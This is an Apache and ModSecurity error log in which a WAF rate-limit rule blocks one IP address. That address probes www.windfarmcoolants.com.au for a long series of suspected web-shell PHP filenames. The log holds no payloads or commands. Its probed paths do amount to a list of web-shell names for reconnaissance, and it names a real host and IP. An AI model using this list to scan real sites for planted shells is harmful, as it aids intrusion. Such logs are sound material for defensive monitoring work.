[Fri Apr 17 07:57:07.036092 2026] [:error] [pid 9153:tid 9232] [client 172.213.155.173:50076] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ga.php"] [unique_id "aeF3U-MHGxkTZX3c45dmzQAAAI4"]
[Fri Apr 17 07:57:07.622189 2026] [:error] [pid 9151:tid 9165] [client 172.213.155.173:4946] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ga.php"] [unique_id "aeF3U8hTVuRPkua22vTPpAAAAAQ"]
[Fri Apr 17 07:57:08.576036 2026] [:error] [pid 51878:tid 51881] [client 172.213.155.173:52806] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "aeF3VEnQhUtMbw9EsgbTnQAAAQE"]
[Fri Apr 17 07:57:10.135307 2026] [:error] [pid 25010:tid 25025] [client 172.213.155.173:4930] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "aeF3Vo-7kkf42RarqQ3xEQAAAUw"]
[Fri Apr 17 07:57:11.787183 2026] [:error] [pid 9151:tid 9167] [client 172.213.155.173:20288] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "aeF3V8hTVuRPkua22vTPsAAAAAY"]
[Fri Apr 17 07:57:12.964955 2026] [:error] [pid 9153:tid 9237] [client 172.213.155.173:40441] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "aeF3WOMHGxkTZX3c45dm1QAAAJM"]
[Fri Apr 17 07:57:14.497489 2026] [:error] [pid 34273:tid 34286] [client 172.213.155.173:58802] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aeF3WmuQDW686mK3dgEpigAAAYs"]
[Fri Apr 17 07:57:15.506407 2026] [:error] [pid 34273:tid 34289] [client 172.213.155.173:40432] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aeF3W2uQDW686mK3dgEpjwAAAY4"]
[Fri Apr 17 07:57:16.688785 2026] [:error] [pid 9152:tid 9209] [client 172.213.155.173:52842] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aeF3XJJYca8I3TNCwIdRKgAAAFM"]
[Fri Apr 17 07:57:17.867735 2026] [:error] [pid 34273:tid 34282] [client 172.213.155.173:4952] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aeF3XWuQDW686mK3dgEpmgAAAYc"]
[Fri Apr 17 07:57:19.099392 2026] [:error] [pid 9153:tid 9229] [client 172.213.155.173:50071] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeF3X-MHGxkTZX3c45dm2gAAAIs"]
[Fri Apr 17 07:57:20.159493 2026] [:error] [pid 34273:tid 34279] [client 172.213.155.173:50096] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeF3YGuQDW686mK3dgEpogAAAYQ"]
[Fri Apr 17 07:57:20.985686 2026] [:error] [pid 34273:tid 34275] [client 172.213.155.173:65262] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeF3YGuQDW686mK3dgEppwAAAYA"]
[Fri Apr 17 07:57:22.909551 2026] [:error] [pid 9153:tid 9218] [client 172.213.155.173:4898] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeF3YuMHGxkTZX3c45dm3AAAAIA"]
[Fri Apr 17 07:57:24.929339 2026] [:error] [pid 25010:tid 25021] [client 172.213.155.173:54861] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeF3ZI-7kkf42RarqQ3xHQAAAUg"]
[Fri Apr 17 07:57:26.142081 2026] [:error] [pid 34273:tid 34275] [client 172.213.155.173:65229] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeF3ZmuQDW686mK3dgEpvAAAAYA"]
[Fri Apr 17 07:57:27.178742 2026] [:error] [pid 9151:tid 9176] [client 172.213.155.173:4888] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeF3Z8hTVuRPkua22vTPugAAAA8"]
[Fri Apr 17 07:57:27.808275 2026] [:error] [pid 9152:tid 9205] [client 172.213.155.173:4882] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeF3Z5JYca8I3TNCwIdRPAAAAE8"]
[Fri Apr 17 07:57:29.036708 2026] [:error] [pid 9263:tid 9285] [client 172.213.155.173:54882] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "aeF3aRP68VyHNvj1e55ImQAAANQ"]
[Fri Apr 17 07:57:30.274585 2026] [:error] [pid 34273:tid 34299] [client 172.213.155.173:20337] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "aeF3amuQDW686mK3dgEp7wAAAZg"]
[Fri Apr 17 07:57:32.105992 2026] [:error] [pid 34273:tid 34292] [client 172.213.155.173:23428] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "aeF3bGuQDW686mK3dgEp-QAAAZE"]
[Fri Apr 17 07:57:33.016441 2026] [:error] [pid 9152:tid 9211] [client 172.213.155.173:4887] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "aeF3bZJYca8I3TNCwIdRRQAAAFU"]
[Fri Apr 17 07:57:35.101617 2026] [:error] [pid 34273:tid 34289] [client 172.213.155.173:54864] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeF3b2uQDW686mK3dgEqCgAAAY4"]
[Fri Apr 17 07:57:35.873421 2026] [:error] [pid 51878:tid 51880] [client 172.213.155.173:20329] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeF3b0nQhUtMbw9EsgbTsQAAAQA"]
[Fri Apr 17 07:57:36.930067 2026] [:error] [pid 9153:tid 9238] [client 172.213.155.173:40424] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeF3cOMHGxkTZX3c45dm7gAAAJQ"]
[Fri Apr 17 07:57:37.703949 2026] [:error] [pid 25010:tid 25033] [client 172.213.155.173:65239] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeF3cY-7kkf42RarqQ3xJQAAAVQ"]
[Fri Apr 17 07:57:38.838849 2026] [:error] [pid 51878:tid 51888] [client 172.213.155.173:4950] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeF3cknQhUtMbw9EsgbTtgAAAQg"]
[Fri Apr 17 07:57:39.574357 2026] [:error] [pid 51878:tid 51887] [client 172.213.155.173:4867] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeF3c0nQhUtMbw9EsgbTtwAAAQc"]
[Fri Apr 17 07:57:40.176520 2026] [:error] [pid 9263:tid 9287] [client 172.213.155.173:50095] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeF3dBP68VyHNvj1e55IpgAAANY"]
[Fri Apr 17 07:57:41.272980 2026] [:error] [pid 9263:tid 9288] [client 172.213.155.173:40415] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeF3dRP68VyHNvj1e55IpwAAANc"]
[Fri Apr 17 07:57:42.018617 2026] [:error] [pid 34273:tid 34289] [client 172.213.155.173:40415] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeF3dmuQDW686mK3dgEqFwAAAY4"]
[Fri Apr 17 07:57:43.481424 2026] [:error] [pid 9151:tid 9166] [client 172.213.155.173:54865] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeF3d8hTVuRPkua22vTPzwAAAAU"]
[Fri Apr 17 07:57:44.540896 2026] [:error] [pid 9151:tid 9167] [client 172.213.155.173:4891] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeF3eMhTVuRPkua22vTP1AAAAAY"]
[Fri Apr 17 07:57:45.138970 2026] [:error] [pid 34273:tid 34290] [client 172.213.155.173:4960] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeF3eWuQDW686mK3dgEqHAAAAY8"]
[Fri Apr 17 07:57:46.728915 2026] [:error] [pid 9153:tid 9236] [client 172.213.155.173:20295] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeF3euMHGxkTZX3c45dm9QAAAJI"]
[Fri Apr 17 07:57:47.828820 2026] [:error] [pid 51878:tid 51896] [client 172.213.155.173:58764] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeF3e0nQhUtMbw9EsgbTugAAARA"]
[Fri Apr 17 07:57:48.623577 2026] [:error] [pid 34273:tid 34279] [client 172.213.155.173:54875] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeF3fGuQDW686mK3dgEqIgAAAYQ"]
[Fri Apr 17 07:57:49.517372 2026] [:error] [pid 34273:tid 34277] [client 172.213.155.173:4906] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeF3fWuQDW686mK3dgEqJgAAAYI"]
[Fri Apr 17 07:57:50.191162 2026] [:error] [pid 51878:tid 51893] [client 172.213.155.173:33495] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeF3fknQhUtMbw9EsgbTxAAAAQ0"]
[Fri Apr 17 07:57:50.807769 2026] [:error] [pid 9151:tid 9179] [client 172.213.155.173:4879] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeF3fshTVuRPkua22vTP6AAAABI"]
[Fri Apr 17 07:57:51.644458 2026] [:error] [pid 25010:tid 25018] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/xper1.php
[Fri Apr 17 07:57:52.304344 2026] [:error] [pid 25010:tid 25018] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Fri Apr 17 07:57:52.736795 2026] [:error] [pid 25010:tid 25017] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/wglum1.php
[Fri Apr 17 07:57:52.972763 2026] [:error] [pid 25010:tid 25032] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/saorix1.php
[Fri Apr 17 07:57:53.212909 2026] [:error] [pid 25010:tid 25019] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/xper.php
[Fri Apr 17 07:57:53.449385 2026] [:error] [pid 25010:tid 25029] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/wxpass.php
[Fri Apr 17 07:57:53.686031 2026] [:error] [pid 25010:tid 25022] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/000.php
[Fri Apr 17 07:57:53.924142 2026] [:error] [pid 25010:tid 25015] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Fri Apr 17 07:57:54.160061 2026] [:error] [pid 25010:tid 25021] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/x3x.php
[Fri Apr 17 07:57:54.431876 2026] [:error] [pid 25010:tid 25014] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/xy.php
[Fri Apr 17 07:57:54.671967 2026] [:error] [pid 25010:tid 25025] [client 172.213.155.173:33530] File does not exist: /usr/local/apache/htdocs/suspended-page/global.php
[Fri Apr 17 07:57:54.905303 2026] [:error] [pid 25010:tid 25028] [client 172.213.155.173:33530] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeF3go-7kkf42RarqQ3xQwAAAU8"]
[Fri Apr 17 07:57:55.591970 2026] [:error] [pid 9152:tid 9201] [client 172.213.155.173:50074] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeF3g5JYca8I3TNCwIdRZAAAAEs"]
[Fri Apr 17 07:57:56.320351 2026] [:error] [pid 9152:tid 9191] [client 172.213.155.173:4918] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeF3hJJYca8I3TNCwIdRaAAAAEE"]
[Fri Apr 17 07:57:57.489519 2026] [:error] [pid 25010:tid 25033] [client 172.213.155.173:50058] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeF3hY-7kkf42RarqQ3xRwAAAVQ"]
[Fri Apr 17 07:57:58.105525 2026] [:error] [pid 9153:tid 9240] [client 172.213.155.173:4888] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aeF3huMHGxkTZX3c45dnAQAAAJY"]
[Fri Apr 17 07:57:59.078733 2026] [:error] [pid 51878:tid 51899] [client 172.213.155.173:33488] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aeF3h0nQhUtMbw9EsgbT4gAAARM"]
[Fri Apr 17 07:57:59.951769 2026] [:error] [pid 34273:tid 34293] [client 172.213.155.173:54902] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aeF3h2uQDW686mK3dgEqVgAAAZI"]
[Fri Apr 17 07:58:01.572582 2026] [:error] [pid 34273:tid 34281] [client 172.213.155.173:40426] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aeF3iWuQDW686mK3dgEqaQAAAYY"]
[Fri Apr 17 07:58:02.509589 2026] [:error] [pid 25010:tid 25018] [client 172.213.155.173:4953] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeF3io-7kkf42RarqQ3xSAAAAUU"]
[Fri Apr 17 07:58:03.187249 2026] [:error] [pid 25010:tid 25032] [client 172.213.155.173:4945] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeF3i4-7kkf42RarqQ3xSgAAAVM"]
[Fri Apr 17 07:58:04.117052 2026] [:error] [pid 9152:tid 9190] [client 172.213.155.173:58798] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeF3jJJYca8I3TNCwIdRdgAAAEA"]
[Fri Apr 17 07:58:04.912558 2026] [:error] [pid 34273:tid 34284] [client 172.213.155.173:20320] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeF3jGuQDW686mK3dgEqewAAAYk"]
